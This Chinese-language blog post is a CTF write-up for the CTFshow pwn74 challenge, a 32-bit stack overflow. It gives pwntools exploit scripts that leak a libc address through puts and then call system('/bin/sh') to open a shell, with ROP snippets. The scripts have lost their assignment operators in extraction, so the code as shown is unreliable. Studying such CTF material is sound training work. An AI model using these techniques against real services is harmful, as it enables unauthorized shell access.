ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

32位栈溢出漏洞利用:CTFshow pwn74题解

2026/8/11 14:04:06 拓冰建站 浏览量
32位栈溢出漏洞利用:CTFshow pwn74题解 1. 题目背景与核心挑战pwn74是CTFshow平台上的一道经典栈溢出题目考察的是32位环境下基于栈溢出的基础漏洞利用技术。这道题目的典型特征是开启了NX保护但未启用栈保护Canary和地址随机化ASLR属于入门级PWN题目中非常具有教学意义的案例。在32位系统中函数调用时参数是通过栈传递的这与64位系统通过寄存器传递前几个参数有本质区别。这种差异直接影响了我们的漏洞利用方式。题目提供的二进制文件通常会有一个明显的栈溢出漏洞点比如使用不安全的gets()或scanf()函数允许我们覆盖返回地址从而控制程序执行流。关键提示32位环境下函数调用时会将参数依次压入栈中而返回地址就保存在这些参数之后。这是理解栈溢出利用的基础。2. 环境准备与初步分析2.1 获取题目文件首先需要从CTFshow平台下载题目提供的二进制文件通常命名为pwn74和对应的libc库文件。使用wget命令下载wget http://example.com/pwn74 wget http://example.com/libc.so.62.2 检查文件属性使用file命令检查二进制文件的基本信息file pwn74预期输出会显示这是一个32位的ELF可执行文件通常是动态链接的dynamically linked并且是not stripped的保留符号表。2.3 检查安全机制使用checksec工具检查二进制文件的安全机制checksec --filepwn74典型输出可能如下Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这个结果显示32位小端架构没有栈保护Canary启用了NX防止在栈上执行代码没有地址随机化PIE disabled3. 静态分析与漏洞定位3.1 使用IDA Pro分析将二进制文件载入IDA Pro进行静态分析。重点关注main函数和任何可疑的函数调用。通常会在main函数中发现类似这样的危险代码char buf[64]; gets(buf); // 明显的栈溢出漏洞点或者char buf[64]; scanf(%s, buf); // 同样存在溢出风险3.2 确定溢出偏移量我们需要计算从缓冲区开始到返回地址的偏移量。在32位系统中缓冲区大小如64字节EBP寄存器的保存值4字节返回地址4字节因此对于64字节的缓冲区偏移量通常是64 4 68字节。可以使用pattern_create和pattern_offset工具精确计算/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100然后在gdb中运行程序输入生成的pattern观察崩溃时EIP的值再用pattern_offset计算精确偏移。4. 漏洞利用开发4.1 构建基本利用框架使用pwntools编写exploit脚本的基本框架from pwn import * context(archi386, oslinux) binary ./pwn74 elf ELF(binary) p process(binary) # 本地测试 # p remote(目标IP, 端口) # 远程攻击 offset 68 # 根据实际情况调整4.2 寻找gadget和有用函数检查二进制中是否有直接可用的函数system_addr elf.plt[system] # 如果有systemplt binsh_addr next(elf.search(b/bin/sh)) # 查找字符串如果没有现成的system和/bin/sh就需要通过ROP或泄漏libc地址来实现。4.3 构建payload基本payload结构payload bA * offset # 填充缓冲区 payload p32(system_addr) # 覆盖返回地址 payload p32(0xdeadbeef) # system的返回地址不重要 payload p32(binsh_addr) # system的参数4.4 处理没有现成gadget的情况如果二进制中没有直接可用的system和/bin/sh就需要泄漏libc地址先泄漏一个函数的got表地址如puts计算libc基址计算system和/bin/sh的真实地址示例代码# 第一次溢出泄漏puts的got表地址 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] payload1 bA * offset payload1 p32(puts_plt) payload1 p32(main_addr) # 返回到main函数再次利用 payload1 p32(puts_got) p.sendline(payload1) leaked_puts u32(p.recv(4))然后计算libc基址和system地址libc ELF(./libc.so.6) # 使用题目提供的libc libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh))最后构造第二次payload获取shellpayload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) # 返回地址不重要 payload2 p32(binsh_addr) p.sendline(payload2) p.interactive() # 获取交互式shell5. 调试技巧与常见问题5.1 使用gdb调试在开发exploit时gdb是不可或缺的工具。可以使用pwntools的gdb功能p process(binary) gdb.attach(p, b *main continue )5.2 处理输入输出问题有时程序会有奇怪的输入输出行为比如输入被截断尝试添加\n或调整发送方式输出混乱使用p.clean()清理缓冲区交互问题使用p.sendlineafter()等待特定提示5.3 应对不同的保护机制虽然pwn74比较简单但了解其他保护机制的绕过也很重要有Canary需要先泄漏canary值有ASLR需要泄漏地址计算基址全保护需要组合多种技术6. 完整利用脚本示例以下是针对pwn74的一个完整利用脚本示例#!/usr/bin/env python3 from pwn import * context(archi386, oslinux) binary ./pwn74 elf ELF(binary) # p process(binary) p remote(目标IP, 端口) offset 68 # 第一段泄漏puts地址 puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] payload1 bA * offset payload1 p32(puts_plt) payload1 p32(main_addr) payload1 p32(puts_got) p.sendlineafter(input:, payload1) leaked_puts u32(p.recv(4)) # 计算libc基址和system地址 libc ELF(./libc.so.6) libc_base leaked_puts - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二段获取shell payload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) payload2 p32(binsh_addr) p.sendlineafter(input:, payload2) p.interactive()7. 进阶技巧与扩展学习7.1 ROP链构造当简单的返回地址覆盖不够用时需要构造ROP链rop ROP(elf) rop.call(puts, [elf.got[puts]]) rop.call(main) payload bA * offset payload rop.chain()7.2 堆栈对齐问题在某些系统上调用system时需要确保栈是16字节对齐的payload bA * offset payload p32(pop_ebx_ret) # 对齐gadget payload p32(system_addr) payload p32(0xdeadbeef) payload p32(binsh_addr)7.3 其他有用的工具和技术one_gadget查找libc中直接获取shell的gadgetret2dlresolve当不知道libc版本时的利用技术SROP高级的面向信号的ROP技术8. 学习资源推荐书籍《漏洞利用开发实战》《CTF竞赛权威指南PWN篇》在线资源CTFwiki PWN部分LiveOverflow YouTube频道ROP Emporium挑战练习平台CTFshow PWN题库Pwnable.krPwnable.tw在实际操作中我发现初学者最容易犯的错误是忽略了32位和64位环境的差异。32位系统的栈布局和参数传递方式与64位系统完全不同这直接影响了payload的构造方式。另一个常见问题是低估了输入输出处理的重要性有时候exploit不成功只是因为没处理好换行符或缓冲区刷新问题。